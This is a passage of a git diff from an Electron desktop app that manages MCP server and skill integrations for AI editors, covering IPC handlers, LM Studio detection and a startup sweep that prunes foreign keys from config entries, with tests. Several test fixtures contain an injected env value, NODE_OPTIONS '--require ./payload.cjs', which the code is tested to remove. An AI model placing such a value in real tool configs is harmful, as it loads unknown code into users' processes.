removeOwnMcpEntry(EDITOR_TARGETS[id], projectDir, undefined, projectPath),isProjectSkillInstalled: (projectDir) => {const skillPath = canonicalSkillTarget.projectSkillPath?.(projectDir);return skillPath !== undefined && existsSync(skillPath);},- recordProjectSkillDecision: (projectDir, enabled) => {- void writeBundleDecision(osHomedir(), projectSkillDecisionKey(projectDir), enabled).catch(- (err: unknown) => {- console.warn('[main] project-skill decision not recorded', {- err: err instanceof Error ? err.message : String(err),- });- },- );- },reportProjectSkillInstalled: (projectDir) => {const home = osHomedir();void reportSkillInstall(@@ -5471,14 +5514,6 @@ function registerProjectIntegrationsSettingsIpc(): void {{ home, enabled: resolveSkillInstallReportSettings(home).enabled },);},- writeProjectSkill: (id, projectDir) => {- const result = writeProjectSkill(EDITOR_TARGETS[id], projectDir);- return { action: result.action, ...(result.error ? { error: result.error } : {}) };- },- removeProjectSkill: (id, projectDir) => {- const result = removeProjectSkill(EDITOR_TARGETS[id], projectDir);- return { action: result.action, ...(result.error ? { error: result.error } : {}) };- },};registerProjectIntegrationsSettings({@@ -5486,13 +5521,7 @@ function registerProjectIntegrationsSettingsIpc(): void {ipcMain,cli,probeEditorPresence,- resolveProjectDir: (event) => {- const win = BrowserWindow.fromWebContents(event.sender);- if (!win) return null;- return (- wm.getContextForBrowserWindow(win as unknown as BrowserWindowLike)?.projectPath ?? null- );- },+ resolveProjectDir: projectDirForSender,tildify: tildifyHomePath,logger: {warn: (msg, ctx) => projectLogger.warn((ctx ?? {}) as Record<string, unknown>, msg),@@ -6058,7 +6087,7 @@ function bootPrimaryInstance(): void {const mcp: McpStartupRepairResult =mcpSettled.status === 'fulfilled'? mcpSettled.value- : { status: 'failed', failedEditors: [] };+ : { status: 'failed', failedEditors: [], repairedEditors: [] };const path: EnsureCliOnPathResult =pathSettled.status === 'fulfilled'? pathSettled.value@@ -6226,10 +6255,11 @@ function bootPrimaryInstance(): void {});}- void reclaimUserSkillsOnLaunch(buildReclaimUserSkillsOpts()).catch((err) => {- console.warn('[main] user-skill reclaim failed', {- err: err instanceof Error ? err.message : String(err),- });+ void reconcileUserGlobalSkillBundles({+ ...buildUserGlobalSkillInstallOpts(),+ seed: false,+ }).catch((err) => {+ getLogger('main').warn({ err }, 'user-global skill reconcile failed');});maybeRunDesktopUninstallUiPreview();diff --git a/packages/desktop/src/main/integrations-settings.test.ts b/packages/desktop/src/main/integrations-settings.test.tsindex d52f6402f..70a8443f3 100644--- a/packages/desktop/src/main/integrations-settings.test.ts+++ b/packages/desktop/src/main/integrations-settings.test.ts@@ -1,6 +1,9 @@+import { EMPTY_DETECTION_SNAPSHOT, EMPTY_PROBE_SNAPSHOT } from '@inkeep/open-knowledge-core';import type { IpcMainInvokeEvent } from 'electron';import { describe, expect, test } from 'vitest';import type {+ AgentIntegrationsApplyRequest,+ AgentIntegrationsApplyResult,IntegrationsSetRequest,IntegrationsSetResult,IntegrationsStatus,@@ -192,7 +195,9 @@ function setup(overrides: Partial<RegisterIntegrationsSettingsOpts> = {}) {const status = () => dispatch(EVENT, { kind: 'status' }) as Promise<IntegrationsStatus>;const set = (request: IntegrationsSetRequest) =>dispatch(EVENT, { kind: 'set', ...request }) as Promise<IntegrationsSetResult>;- return { ipcMain, cli, path, skills, fs, handle, status, set };+ const applyBatch = (intents: AgentIntegrationsApplyRequest['intents']) =>+ dispatch(EVENT, { kind: 'apply-batch', intents }) as Promise<AgentIntegrationsApplyResult>;+ return { ipcMain, cli, path, skills, fs, handle, status, set, applyBatch };}describe('classifyEditorState', () => {@@ -230,12 +235,17 @@ describe('detectedEditorsFromProbes', () => {]).toEqual([]);});- test('lm-studio is never detected — it has no honest probe', () => {- const got = detectedEditorsFromProbes({- cliOnPath: { 'lm-studio': true } as Record<string, boolean>,- schemeHandler: { 'lm-studio': true },- });- expect([...got]).toEqual([]);+ test('the LM Studio scheme detects it; a CLI claim still does not', () => {+ expect([+ ...detectedEditorsFromProbes({ ...none, schemeHandler: { 'lm-studio': true } }),+ ]).toEqual(['lm-studio']);++ expect([+ ...detectedEditorsFromProbes({+ cliOnPath: { 'lm-studio': true } as Record<string, boolean>,+ schemeHandler: {},+ }),+ ]).toEqual([]);});test('a config directory cannot manufacture detection', () => {@@ -513,6 +523,46 @@ describe('ok:integrations:dispatch — gates and serialization', () => {expect(next.ok).toBe(true);});+ test('a batch and a single toggle queue on one chain, never interleaved', async () => {+ const order: string[] = [];+ const path = makePath();+ let releaseInstall: () => void = () => {};+ path.install = async () => {+ order.push('toggle-start');+ await new Promise<void>((resolve) => {+ releaseInstall = resolve;+ });+ order.push('toggle-end');+ return { ok: true };+ };+ const { set, applyBatch } = setup({+ path,+ applyBatch: async () => {+ order.push('batch');+ return {+ ok: true,+ report: { actions: [], conflicts: [], withheld: [] },+ snapshot: { probes: EMPTY_PROBE_SNAPSHOT, detection: EMPTY_DETECTION_SNAPSHOT },+ };+ },+ });++ const toggle = set({ component: { kind: 'path' }, enabled: true });+ const batch = applyBatch([]);+ await new Promise((resolve) => setTimeout(resolve, 10));+ releaseInstall();+ await Promise.all([toggle, batch]);++ expect(order).toEqual(['toggle-start', 'toggle-end', 'batch']);+ });++ test('a build with no batch writer wired refuses rather than crashing', async () => {+ const { applyBatch } = setup();+ const result = await applyBatch([{ satisfierId: 'claude/mcp/user/config-entry' }]);+ expect(result.ok).toBe(false);+ expect(result.report.actions).toEqual([]);+ });+test('destroy removes the handler; a second destroy is a no-op', () => {const { ipcMain, handle } = setup();expect(ipcMain.handlers.has('ok:integrations:dispatch')).toBe(true);diff --git a/packages/desktop/src/main/integrations-settings.ts b/packages/desktop/src/main/integrations-settings.tsindex 5856a830b..c8b6417c8 100644--- a/packages/desktop/src/main/integrations-settings.ts+++ b/packages/desktop/src/main/integrations-settings.ts@@ -1,6 +1,12 @@-import { TERMINAL_CLI_IDS } from '@inkeep/open-knowledge-core';-import type { IpcMain } from 'electron';+import {+ EMPTY_DETECTION_SNAPSHOT,+ EMPTY_PROBE_SNAPSHOT,+ TERMINAL_CLI_IDS,+} from '@inkeep/open-knowledge-core';+import type { IpcMain, IpcMainInvokeEvent } from 'electron';import type {+ AgentIntegrationsApplyRequest,+ AgentIntegrationsApplyResult,IntegrationsComponentRef,IntegrationsEditorState,IntegrationsEditorStatus,@@ -34,6 +40,16 @@ export interface IntegrationsCliSurface {isOwnEntry(entry: unknown): boolean;editorConfigPath(editorId: McpWiringEditorId): string | null;editorEntryLocator(editorId: McpWiringEditorId): string;+ recordUserSkillDecision?(enabled: boolean): void;+ userSkillPresentAnywhere(): boolean;+ writeUserSkill(editorId: McpWiringEditorId): {+ action: 'written' | 'overwritten' | 'skipped-unsupported' | 'failed';+ error?: string;+ };+ removeUserSkill(editorId: McpWiringEditorId): {+ action: 'removed' | 'not-present' | 'skipped-unsupported' | 'failed';+ error?: string;+ };writeUserMcpConfigs(opts: { editors: McpWiringEditorId[]; home?: string }): Promise<Array<{editorId: McpWiringEditorId;@@ -89,6 +105,10 @@ export interface RegisterIntegrationsSettingsOpts {fs?: McpWiringFsOps;now?: () => Date;logger?: IntegrationsLogger;+ applyBatch?: (+ event: IpcMainInvokeEvent,+ request: AgentIntegrationsApplyRequest,+ ) => Promise<AgentIntegrationsApplyResult>;}export interface IntegrationsSettingsHandle {@@ -128,6 +148,7 @@ export function detectedEditorsFromProbes(probes: EditorPresenceProbes): Set<Mcp}if (scheme('codex')) detected.add('codex' as McpWiringEditorId);if (scheme('cursor')) detected.add('cursor' as McpWiringEditorId);+ if (scheme('lm-studio')) detected.add('lm-studio' as McpWiringEditorId);return detected;}@@ -154,6 +175,7 @@ export function registerIntegrationsSettings(skills,fs,now,+ applyBatch,logger = DEFAULT_LOGGER,} = opts;const nowDate = (): Date => (now ? now() : new Date());@@ -349,9 +371,35 @@ export function registerIntegrationsSettings(return run;}+ function dispatchApplyBatch(+ event: IpcMainInvokeEvent,+ request: AgentIntegrationsApplyRequest,+ ): Promise<AgentIntegrationsApplyResult> {+ const run = mutationChain.then(async (): Promise<AgentIntegrationsApplyResult> => {+ if (applyBatch === undefined) {+ logIpcError({+ event: 'ipc.error',+ channel: 'ok:integrations:dispatch',+ reason: 'apply-batch-unwired',+ handler: 'integrationsDispatch',+ });+ return {+ ok: false,+ error: 'Managing AI tool connections is unavailable in this build.',+ report: { actions: [], conflicts: [], withheld: [] },+ snapshot: { probes: EMPTY_PROBE_SNAPSHOT, detection: EMPTY_DETECTION_SNAPSHOT },+ };+ }+ return applyBatch(event, request);+ });+ mutationChain = run.catch(() => {});+ return run;+ }+const register = createHandler(ipcMain as IpcMain);- register('ok:integrations:dispatch', async (_event, request) => {+ register('ok:integrations:dispatch', async (event, request) => {if (request?.kind === 'set') return dispatchSet(request);+ if (request?.kind === 'apply-batch') return dispatchApplyBatch(event, request);return computeStatus();});diff --git a/packages/desktop/src/main/mcp-wiring.test.ts b/packages/desktop/src/main/mcp-wiring.test.tsindex c33fc8f60..7b8033f5e 100644--- a/packages/desktop/src/main/mcp-wiring.test.ts+++ b/packages/desktop/src/main/mcp-wiring.test.ts@@ -96,8 +96,8 @@ function buildStartupCli(opts: BuildStartupCliOptions): {readExistingMcpEntry: () => (opts.classify.kind === 'present' ? opts.classify.entry : null),allEditorIds: ['claude' as McpWiringEditorId],editorTargets: { claude: target } as Record<McpWiringEditorId, EditorMcpTarget>,- writeUserMcpConfigs: async ({ editors }) => {- order.push('write');+ writeUserMcpConfigs: async ({ editors, pruneOnly }) => {+ order.push(pruneOnly ? 'prune' : 'write');return editors.map((editorId) => ({editorId,label: editorId,@@ -152,6 +152,53 @@ describe('checkAndRepairMcpWiringOnStartup — migrate event ordering', () => {});});+ test('an editor OK does not manage is left out of the sweep entirely', async () => {+ const legacy: McpEntryClassification = {+ kind: 'present',+ entry: { command: 'npx', args: ['-y', '@inkeep/open-knowledge', 'mcp'] },+ };+ const writes: McpWiringEditorId[][] = [];+ const events: Array<Record<string, unknown>> = [];+ const cli: McpWiringCliSurface = {+ detectInstalledEditors: () => ['claude-desktop' as McpWiringEditorId],+ classifyExistingMcpEntry: () => legacy,+ readExistingMcpEntry: () => legacy.entry,+ allEditorIds: ['claude-desktop' as McpWiringEditorId],+ editorTargets: {+ 'claude-desktop': fakeTarget('claude-desktop' as McpWiringEditorId),+ } as Record<McpWiringEditorId, EditorMcpTarget>,+ writeUserMcpConfigs: async ({ editors }) => {+ writes.push([...editors]);+ return editors.map((editorId) => ({+ editorId,+ label: editorId,+ action: 'overwritten' as const,+ configPath: '/home/x.json',+ serverName: 'open-knowledge',+ }));+ },+ };++ const result = await checkAndRepairMcpWiringOnStartup({+ isPackaged: true,+ executablePath: PACKAGED_EXE,+ home: '/home',+ platform: 'darwin',+ ipcMain: { handle() {}, removeHandler() {} } as unknown as Parameters<+ typeof checkAndRepairMcpWiringOnStartup+ >[0]['ipcMain'],+ cli,+ logger: { info() {}, warn() {}, error() {}, event: (e) => events.push(e) },+ });++ expect(result.status).toBe('ok');+ expect(result.checkedEditors).toEqual([]);+ expect(writes).toEqual([]);+ expect(events.find((e) => e.event === 'mcp-config-migrate')).toBeUndefined();+ const started = events.find((e) => e.event === 'mcp-wiring-repair-check-started');+ expect(started?.editors).toEqual([]);+ });+test('canonical chain entry → no migrate event, no write', async () => {const { cli, events, order } = buildStartupCli({classify: {@@ -208,7 +255,11 @@ describe('checkAndRepairMcpWiringOnStartup — migrate event ordering', () => {expect(result.status).toBe('ok');expect(order).toEqual([]);- expect(events).toContainEqual({ event: 'mcp-wiring-repair-healthy-current', editor: 'claude' });+ expect(events).toContainEqual({+ event: 'mcp-wiring-repair-healthy-current',+ severity: 'info',+ editor: 'claude',+ });expect(events.some((e) => e.event === 'mcp-config-migrate')).toBe(false);});});@@ -721,10 +772,12 @@ describe('runMcpWiringOnFirstLaunch — skills consent leg', () => {expect(skills.consentCalls).toEqual([['discovery']]);expect(events).toContainEqual({event: 'mcp-wiring-skill-consent-granted',+ severity: 'info',bundle: 'discovery',});expect(events).toContainEqual({event: 'mcp-wiring-skill-consent-declined',+ severity: 'info',bundle: 'write-skill',});});@@ -1207,4 +1260,245 @@ describe('runMcpWiringOnFirstLaunch — PATH consent leg', () => {expect(pathInstall.consentCalls).toEqual([]);expect(readMcpStatusMarker('/home/u', fs)).toMatchObject({ configured: false });});+ test('a current launcher carrying a foreign env is pruned at startup, not reported healthy', async () => {+ const { cli, events, order } = buildStartupCli({+ classify: {+ kind: 'present',+ entry: {+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v2\nexit 127'],+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ },+ },+ });+ const result = await checkAndRepairMcpWiringOnStartup({+ isPackaged: true,+ executablePath: PACKAGED_EXE,+ home: '/home',+ platform: 'darwin',+ ipcMain: { handle() {}, removeHandler() {} } as unknown as Parameters<+ typeof checkAndRepairMcpWiringOnStartup+ >[0]['ipcMain'],+ cli,+ logger: {+ info() {},+ warn() {},+ error() {},+ event: (e) => events.push(e),+ },+ });++ expect(result.status).toBe('repaired');+ expect(order).toEqual(['prune']);+ expect(events).toContainEqual(+ expect.objectContaining({+ event: 'mcp-wiring-repair-prune-planned',+ editor: 'claude',+ keys: ['env'],+ }),+ );+ expect(events).toContainEqual(+ expect.objectContaining({+ event: 'mcp-wiring-repair-pruned',+ editor: 'claude',+ keys: ['env'],+ }),+ );+ expect(events.some((e) => e.event === 'mcp-wiring-repair-healthy-current')).toBe(false);+ });+ function buildMixedStartupCli(+ perEditor: Record<+ string,+ {+ classify: McpEntryClassification;+ writeAction?: 'written' | 'overwritten' | 'skipped-flag' | 'failed' | 'declined';+ writeError?: string;+ declineReason?: McpDeclineReason;+ fileFormat?: boolean;+ }+ >,+ ): {+ cli: McpWiringCliSurface;+ events: Array<Record<string, unknown>>;+ calls: Array<{ editors: string[]; pruneOnly: boolean }>;+ } {+ const events: Array<Record<string, unknown>> = [];+ const calls: Array<{ editors: string[]; pruneOnly: boolean }> = [];+ const ids = Object.keys(perEditor) as McpWiringEditorId[];+ const editorTargets = Object.fromEntries(+ ids.map((id) => [+ id,+ perEditor[id]?.fileFormat+ ? ({ ...fakeTarget(id), format: 'file', buildEntry: undefined } as EditorMcpTarget)+ : fakeTarget(id),+ ]),+ ) as Record<McpWiringEditorId, EditorMcpTarget>;+ const cli: McpWiringCliSurface = {+ detectInstalledEditors: () => ids,+ classifyExistingMcpEntry: (editorId) => perEditor[editorId]?.classify ?? { kind: 'absent' },+ readExistingMcpEntry: (editorId) => {+ const c = perEditor[editorId]?.classify;+ return c?.kind === 'present' ? c.entry : null;+ },+ allEditorIds: ids,+ editorTargets,+ writeUserMcpConfigs: async ({ editors, pruneOnly }) => {+ calls.push({ editors: [...editors], pruneOnly: pruneOnly === true });+ return editors.map((editorId) => {+ const spec = perEditor[editorId];+ return {+ editorId,+ label: editorId,+ action: spec?.writeAction ?? 'overwritten',+ configPath: editorTargets[editorId]?.configPath('', '/home') ?? '',+ serverName: 'open-knowledge',+ ...(spec?.writeError ? { error: spec.writeError } : {}),+ ...(spec?.declineReason ? { declineReason: spec.declineReason } : {}),+ };+ });+ },+ };+ return { cli, events, calls };+ }++ const CURRENT_WITH_ENV = {+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v2\nexit 127'],+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ };+ const OLDER_LAUNCHER = { command: '/bin/sh', args: ['-l', '-c', '# ok-mcp-v1\nexit 127'] };++ async function runStartup(cli: McpWiringCliSurface, events: Array<Record<string, unknown>>) {+ return checkAndRepairMcpWiringOnStartup({+ isPackaged: true,+ executablePath: PACKAGED_EXE,+ home: '/home',+ platform: 'darwin',+ ipcMain: { handle() {}, removeHandler() {} } as unknown as Parameters<+ typeof checkAndRepairMcpWiringOnStartup+ >[0]['ipcMain'],+ cli,+ logger: {+ info() {},+ warn() {},+ error() {},+ event: (e) => events.push(e),+ },+ });+ }++ test('a mixed batch repairs one editor and prunes another through separate writes', async () => {+ const { cli, events, calls } = buildMixedStartupCli({+ claude: { classify: { kind: 'present', entry: OLDER_LAUNCHER } },+ cursor: { classify: { kind: 'present', entry: CURRENT_WITH_ENV } },+ });++ const result = await runStartup(cli, events);++ expect(calls).toEqual([+ { editors: ['claude'], pruneOnly: false },+ { editors: ['cursor'], pruneOnly: true },+ ]);+ expect(result.status).toBe('repaired');+ if (result.status === 'repaired') {+ expect([...result.repairedEditors].sort()).toEqual(['claude', 'cursor']);+ }+ expect(events).toContainEqual(+ expect.objectContaining({+ event: 'mcp-wiring-repair-prune-planned',+ editor: 'cursor',+ keys: ['env'],+ }),+ );+ expect(events).toContainEqual(+ expect.objectContaining({+ event: 'mcp-wiring-repair-pruned',+ editor: 'cursor',+ keys: ['env'],+ }),+ );+ });++ test('a prune that fails reaches failedEditors even when the repair batch succeeds', async () => {+ const { cli, events } = buildMixedStartupCli({+ claude: { classify: { kind: 'present', entry: OLDER_LAUNCHER } },+ cursor: {+ classify: { kind: 'present', entry: CURRENT_WITH_ENV },+ writeAction: 'failed',+ writeError: 'EACCES',+ },+ });++ const result = await runStartup(cli, events);++ expect(result.status).toBe('failed');+ if (result.status === 'failed') {+ expect(result.failedEditors).toEqual([{ editor: 'cursor', error: 'EACCES' }]);+ expect(result.repairedEditors).toEqual(['claude']);+ }+ expect(events.some((e) => e.event === 'mcp-wiring-repair-pruned')).toBe(false);+ });++ test('a prune the writer declines is reported as a failure, never as a healthy machine', async () => {+ const { cli, events } = buildMixedStartupCli({+ codex: {+ classify: { kind: 'present', entry: CURRENT_WITH_ENV },+ writeAction: 'declined',+ declineReason: 'no-native-writer',+ },+ });++ const result = await runStartup(cli, events);++ expect(result.status).toBe('failed');+ if (result.status === 'failed') {+ expect(result.failedEditors).toEqual([+ { editor: 'codex', error: 'prune declined: no-native-writer' },+ ]);+ }+ expect(events.some((e) => e.event === 'mcp-wiring-repair-pruned')).toBe(false);+ expect(events.some((e) => e.event === 'mcp-wiring-repair-healthy-current')).toBe(false);+ });++ test('a prune that finds nothing to remove is reported as a failure, never as ok', async () => {+ const { cli, events } = buildMixedStartupCli({+ cursor: {+ classify: { kind: 'present', entry: CURRENT_WITH_ENV },+ writeAction: 'skipped-flag',+ },+ });++ const result = await runStartup(cli, events);++ expect(result.status).toBe('failed');+ if (result.status === 'failed') {+ expect(result.failedEditors).toEqual([{ editor: 'cursor', error: 'prune unchanged: env' }]);+ }+ expect(events.some((e) => e.event === 'mcp-wiring-repair-pruned')).toBe(false);+ expect(events.some((e) => e.event === 'mcp-wiring-repair-healthy-current')).toBe(false);+ expect(events).toContainEqual(+ expect.objectContaining({+ event: 'mcp-wiring-repair-prune-unchanged',+ editor: 'cursor',+ keys: ['env'],+ }),+ );+ });++ test('a managed-file target is never reported healthy by the startup sweep', async () => {+ const { cli, events, calls } = buildMixedStartupCli({+ cursor: { classify: { kind: 'present', entry: CURRENT_WITH_ENV }, fileFormat: true },+ });++ const result = await runStartup(cli, events);++ expect(result.status).toBe('ok');+ expect(calls).toEqual([]);+ expect(events).toContainEqual({+ event: 'mcp-wiring-repair-unsupported-format',+ severity: 'warn',+ editor: 'cursor',+ });+ expect(events.some((e) => e.event === 'mcp-wiring-repair-healthy-current')).toBe(false);+ });});diff --git a/packages/desktop/src/main/mcp-wiring.ts b/packages/desktop/src/main/mcp-wiring.tsindex 3fbf2a056..b1efe7a34 100644--- a/packages/desktop/src/main/mcp-wiring.ts+++ b/packages/desktop/src/main/mcp-wiring.ts@@ -10,13 +10,14 @@ import { dirname, join } from 'node:path';import {buildMcpConfigDeclineEvent,buildMcpConfigMigrateEvent,+ droppedManagedKeys,type EditorMcpTarget,editorConfigPathDisplay,editorEntryLocator,type McpDeclineReason,type McpEntryClassification,} from '@inkeep/open-knowledge';-import { classifyMcpLauncherEntry } from '@inkeep/open-knowledge-core';+import { CONNECTION_ROW_AGENT_IDS, classifyMcpLauncherEntry } from '@inkeep/open-knowledge-core';import type { IpcMain, IpcMainInvokeEvent } from 'electron';import type {McpWiringConfirmRequest,@@ -162,7 +163,11 @@ export interface McpWiringDispatchTarget extends SendableWebContents {export interface McpWiringCliSurface {detectInstalledEditors(cwd: string, home?: string): McpWiringEditorId[];- writeUserMcpConfigs(opts: { editors: McpWiringEditorId[]; home?: string }): Promise<+ writeUserMcpConfigs(opts: {+ editors: McpWiringEditorId[];+ home?: string;+ pruneOnly?: boolean;+ }): Promise<Array<{editorId: McpWiringEditorId;label: string;@@ -203,14 +208,15 @@ interface McpWiringLogger {info(msg: string, ctx?: object): void;warn(msg: string, ctx?: object): void;error(msg: string, ctx?: object): void;- event(payload: { event: string; [k: string]: unknown }): void;+ event(payload: { event: string; severity: 'info' | 'warn'; [k: string]: unknown }): void;}const DEFAULT_LOGGER: McpWiringLogger = {info: (msg, ctx) => console.info('[mcp-wiring]', msg, ctx ?? ''),warn: (msg, ctx) => console.warn('[mcp-wiring]', msg, ctx ?? ''),error: (msg, ctx) => console.error('[mcp-wiring]', msg, ctx ?? ''),- event: (payload) => console.warn(JSON.stringify(payload)),+ event: (payload) =>+ (payload.severity === 'warn' ? console.warn : console.info)(JSON.stringify(payload)),};interface RunMcpWiringOpts {@@ -244,7 +250,11 @@ export type McpStartupRepairResult =| { status: 'skipped'; reason: string }| { status: 'ok'; checkedEditors: McpWiringEditorId[] }| { status: 'repaired'; repairedEditors: McpWiringEditorId[] }- | { status: 'failed'; failedEditors: Array<{ editor: McpWiringEditorId; error?: string }> };+ | {+ status: 'failed';+ failedEditors: Array<{ editor: McpWiringEditorId; error?: string }>;+ repairedEditors: McpWiringEditorId[];+ };export function checkAndRepairMcpWiringOnStartup(opts: RunMcpWiringOpts,@@ -271,45 +281,76 @@ export function checkAndRepairMcpWiringOnStartup(return Promise.resolve({ status: 'skipped', reason: 'bad-executable-path' });}const selectedEditors = cli.allEditorIds.filter(- (id) => cli.editorTargets[id]?.scope === 'global',+ (id) =>+ cli.editorTargets[id]?.scope === 'global' &&+ (CONNECTION_ROW_AGENT_IDS as readonly string[]).includes(id),);- logger.event({ event: 'mcp-wiring-repair-check-started', editors: selectedEditors });+ logger.event({+ event: 'mcp-wiring-repair-check-started',+ severity: 'info',+ editors: selectedEditors,+ });if (selectedEditors.length === 0) return Promise.resolve({ status: 'ok', checkedEditors: [] });const editorsToRepair: McpWiringEditorId[] = [];+ const editorsToPrune: McpWiringEditorId[] = [];+ const pruneKeys = new Map<McpWiringEditorId, readonly string[]>();for (const editor of selectedEditors) {let classification: McpEntryClassification;try {classification = cli.classifyExistingMcpEntry(editor, home);} catch (err) {const message = err instanceof Error ? err.message : String(err);- logger.event({ event: 'mcp-wiring-repair-read-failed', editor, error: message });+ logger.event({+ event: 'mcp-wiring-repair-read-failed',+ severity: 'warn',+ editor,+ error: message,+ });editorsToRepair.push(editor);continue;}if (classification.kind === 'absent' || classification.kind === 'no-entry') {- logger.event({ event: 'mcp-wiring-repair-no-token', editor });+ logger.event({ event: 'mcp-wiring-repair-no-token', severity: 'info', editor });continue;}if (classification.kind === 'present') {const launcher = classifyMcpLauncherEntry(classification.entry);if (launcher.kind === 'recognized' && launcher.disposition === 'keep') {- logger.event({ event: 'mcp-wiring-repair-healthy-current', editor });+ const target = cli.editorTargets[editor];+ if (target.format === 'file') {+ logger.event({ event: 'mcp-wiring-repair-unsupported-format', severity: 'warn', editor });+ continue;+ }+ const dropped = droppedManagedKeys(classification.entry, target.buildEntry('', {}));+ if (dropped.length === 0) {+ logger.event({ event: 'mcp-wiring-repair-healthy-current', severity: 'info', editor });+ continue;+ }+ logger.event({+ event: 'mcp-wiring-repair-prune-planned',+ severity: 'info',+ editor,+ keys: dropped,+ });+ pruneKeys.set(editor, dropped);+ editorsToPrune.push(editor);continue;}}if (classification.kind === 'decline') {- logger.event(- buildMcpConfigDeclineEvent({+ logger.event({+ severity: 'warn',+ ...buildMcpConfigDeclineEvent({scope: 'user',surface: 'desktop-startup',editorId: editor,reason: classification.reason,}),- );+ });continue;}@@ -318,15 +359,16 @@ export function checkAndRepairMcpWiringOnStartup(try {migrateConfigPath = cli.editorTargets[editor]?.configPath('', home) ?? '';} catch {}- logger.event(- buildMcpConfigMigrateEvent({+ logger.event({+ severity: 'info',+ ...buildMcpConfigMigrateEvent({scope: 'user',surface: 'desktop-startup',editorId: editor,configPath: migrateConfigPath,priorEntry: classification.entry,}),- );+ });editorsToRepair.push(editor);continue;}@@ -335,41 +377,92 @@ export function checkAndRepairMcpWiringOnStartup(return _exhaustive;}- if (editorsToRepair.length === 0) {+ if (editorsToRepair.length === 0 && editorsToPrune.length === 0) {return Promise.resolve({ status: 'ok', checkedEditors: selectedEditors });}- return cli- .writeUserMcpConfigs({ editors: editorsToRepair, home })+ const writes = [+ ...(editorsToRepair.length > 0+ ? [cli.writeUserMcpConfigs({ editors: editorsToRepair, home })]+ : []),+ ...(editorsToPrune.length > 0+ ? [cli.writeUserMcpConfigs({ editors: editorsToPrune, home, pruneOnly: true })]+ : []),+ ];+ return Promise.all(writes)+ .then((batches) => batches.flat()).then((results) => {const failed = results.filter((r) => r.action === 'failed').map((r) => ({ editor: r.editorId, error: r.error }));for (const r of results) {+ const prunedKeys = pruneKeys.get(r.editorId);if (r.action === 'declined') {- logger.event(- buildMcpConfigDeclineEvent({+ const reason = r.declineReason ?? 'unparseable';+ logger.event({+ severity: 'warn',+ ...buildMcpConfigDeclineEvent({scope: 'user',surface: 'desktop-startup',editorId: r.editorId,- reason: r.declineReason ?? 'unparseable',+ reason,}),- );+ });+ if (prunedKeys !== undefined) {+ failed.push({ editor: r.editorId, error: `prune declined: ${reason}` });+ }continue;}- logger.event({- event:- r.action === 'failed' ? 'mcp-wiring-repair-write-failed' : 'mcp-wiring-repair-repaired',- editor: r.editorId,- configPath: r.configPath,- error: r.error ?? null,- });+ if (r.action === 'skipped-flag') {+ if (prunedKeys !== undefined) {+ logger.event({+ event: 'mcp-wiring-repair-prune-unchanged',+ severity: 'warn',+ editor: r.editorId,+ configPath: r.configPath,+ keys: prunedKeys,+ });+ failed.push({ editor: r.editorId, error: `prune unchanged: ${prunedKeys.join(', ')}` });+ }+ continue;+ }+ if (r.action === 'failed') {+ logger.event({+ event: 'mcp-wiring-repair-write-failed',+ severity: 'warn',+ editor: r.editorId,+ configPath: r.configPath,+ error: r.error ?? null,+ });+ continue;+ }+ logger.event(+ prunedKeys === undefined+ ? {+ event: 'mcp-wiring-repair-repaired',+ severity: 'info',+ editor: r.editorId,+ configPath: r.configPath,+ error: null,+ }+ : {+ event: 'mcp-wiring-repair-pruned',+ severity: 'info',+ editor: r.editorId,+ configPath: r.configPath,+ keys: prunedKeys,+ },+ );}const repairedEditors = results.filter((r) => r.action === 'written' || r.action === 'overwritten').map((r) => r.editorId);if (failed.length > 0)- return { status: 'failed', failedEditors: failed } satisfies McpStartupRepairResult;+ return {+ status: 'failed',+ failedEditors: failed,+ repairedEditors,+ } satisfies McpStartupRepairResult;if (repairedEditors.length === 0)return { status: 'ok', checkedEditors: selectedEditors } satisfies McpStartupRepairResult;return {@@ -379,14 +472,17 @@ export function checkAndRepairMcpWiringOnStartup(}).catch((err) => {const message = err instanceof Error ? err.message : String(err);+ const attempted = [...editorsToRepair, ...editorsToPrune];logger.event({event: 'mcp-wiring-repair-write-failed',- editors: editorsToRepair,+ severity: 'warn',+ editors: attempted,error: message,});return {status: 'failed',- failedEditors: editorsToRepair.map((editor) => ({ editor, error: message })),+ failedEditors: attempted.map((editor) => ({ editor, error: message })),+ repairedEditors: [],} satisfies McpStartupRepairResult;});}@@ -479,7 +575,7 @@ export function runMcpWiringOnFirstLaunch(opts: RunMcpWiringFirstLaunchOpts): Ru} catch (err) {const message = err instanceof Error ? err.message : String(err);logger.error('detection failed — wiring inert for this boot', { err });- logger.event({ event: 'mcp-wiring-detect-failed', error: message });+ logger.event({ event: 'mcp-wiring-detect-failed', severity: 'warn', error: message });return inertHandle;}@@ -489,7 +585,7 @@ export function runMcpWiringOnFirstLaunch(opts: RunMcpWiringFirstLaunchOpts): Ru} catch (err) {const message = err instanceof Error ? err.message : String(err);logger.error('path-install descriptor failed — PATH row hidden for this boot', { err });- logger.event({ event: 'mcp-wiring-path-descriptor-failed', error: message });+ logger.event({ event: 'mcp-wiring-path-descriptor-failed', severity: 'warn', error: message });pathDescriptor = { shellDetected: false, rcFilesToTouch: [], alreadyInstalled: false };}@@ -499,7 +595,11 @@ export function runMcpWiringOnFirstLaunch(opts: RunMcpWiringFirstLaunchOpts): Ru} catch (err) {const message = err instanceof Error ? err.message : String(err);logger.error('skill descriptors failed — skill rows hidden for this boot', { err });- logger.event({ event: 'mcp-wiring-skill-descriptors-failed', error: message });+ logger.event({+ event: 'mcp-wiring-skill-descriptors-failed',+ severity: 'warn',+ error: message,+ });skillDescriptors = [];}@@ -562,6 +662,7 @@ export function runMcpWiringOnFirstLaunch(opts: RunMcpWiringFirstLaunchOpts): Rufor (const r of failedResults) {logger.event({event: 'mcp-wiring-write-failed',+ severity: 'warn',editor: r.editorId,configPath: r.configPath,error: r.error ?? null,@@ -569,14 +670,15 @@ export function runMcpWiringOnFirstLaunch(opts: RunMcpWiringFirstLaunchOpts): Ru}for (const r of results) {if (r.action !== 'declined') continue;- logger.event(- buildMcpConfigDeclineEvent({+ logger.event({+ severity: 'warn',+ ...buildMcpConfigDeclineEvent({scope: 'user',surface: 'desktop-firstlaunch',editorId: r.editorId,reason: r.declineReason ?? 'unparseable',}),- );+ });}if (failedResults.length > 0) {logger.info('partial failure — marker not written; dialog will re-fire next boot');@@ -618,6 +720,7 @@ export function runMcpWiringOnFirstLaunch(opts: RunMcpWiringFirstLaunchOpts): Ruif (!pathResult.ok) {logger.event({event: 